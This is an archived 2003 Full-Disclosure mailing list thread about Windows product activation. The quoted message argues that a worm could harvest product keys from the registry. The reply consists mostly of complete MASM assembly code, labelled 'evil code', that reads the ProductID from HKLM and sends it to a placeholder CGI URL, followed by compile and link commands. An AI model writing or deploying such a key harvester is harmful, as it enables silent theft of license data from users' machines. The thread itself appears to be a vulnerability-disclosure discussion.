[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [Full-Disclosure] Product activation is exploitable
- To: Geoincidents <geoincidents@xxxxxxxxxxx>, full-disclosure@xxxxxxxxxxxxxxxx
- Subject: Re: [Full-Disclosure] Product activation is exploitable
- From: w g <xillwillx@xxxxxxxxx>
- Date: Sat, 6 Sep 2003 17:22:52 -0700 (PDT)
with simple assembly code you could send the data to a cgi script too
;-------------------------begin evil code ----------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc
include \masm32\include\masm32.inc
include \masm32\include\urlmon.inc
includelib \masm32\lib\urlmon.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib
.data
SubKey2 db "SOFTWARE\Microsoft\Windows\CurrentVersion\",0
szWinKey db "ProductID",0
szHost db "http://www.yoursite.com/cgi-bin/logme.cgi?action=log&ID=%s",0
WinKeySize DWORD 255
.data?
WinKeyData db 255 dup (?)
TheReturn DWORD ?
PostBuffer db 256 dup(?)
.code
start:
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE,addr SubKey2,0,KEY_READ,addr
TheReturn
invoke RegQueryValueEx,TheReturn,addr szWinKey,0,0,addr WinKeyData, addr
WinKeySize ;the Product key is in WinKeydata
invoke RegCloseKey , TheReturn
invoke wsprintf,addr PostBuffer,addr szHost,ADDR WinKeyData
invoke URLDownloadToFile, 0,addr PostBuffer, 0, 0, 0
invoke ExitProcess, eax
end start
;--------------------------------------------------------------------------snip
compiles with masm to 1.5 kb , yes 1.5 kb :)
c:\masm32\bin\ml /c /coff *.asm
c:\masm32\bin\link /SUBSYSTEM:WINDOWS /RELEASE /MERGE:.data=.text
/MERGE:.rdata=.text /MERGE:.idata=.text /SECTION:.text,EWR /FILEALIGN:512 *.obj
--------------------------------------------------------------------------------------------------------------------------------
- illwill
http://illmob.org
Geoincidents <geoincidents@xxxxxxxxxxx> wrote:
So I'm reading this story http://www.nccomp.com/sysadmin/dell.html about a
company who laid off their admin and he took all their product keys and
posted them on the internet. Well to make a long story short, somehow
applying a hotfix caused the software to deactivate (it has to have a
deactivation feature or what good is it?) and require activation again which
of course was impossible since MS shut those numbers down.
It got to thinking, what if the dcom worm had grabbed the product key from
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]
"ProductKey"="XXXXX-XXXXX-XXXXX-XXXXX-XXXXX" or
ProductID="XXXXX-OEM-XXXXXXX-XXXXX"
and posted it to a dozen random newsgroups? According to the EULA Microsoft
has the right to shut down every one who becomes infected and compromised in
this manner.
Sure looks like a security issue to me, product activation makes this
registry entry which allows all users full read access a dangerous thing to
have laying around unprotected.
Geo.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
---------------------------------
Do you Yahoo!?
Yahoo! SiteBuilder - Free, easy-to-use web site design software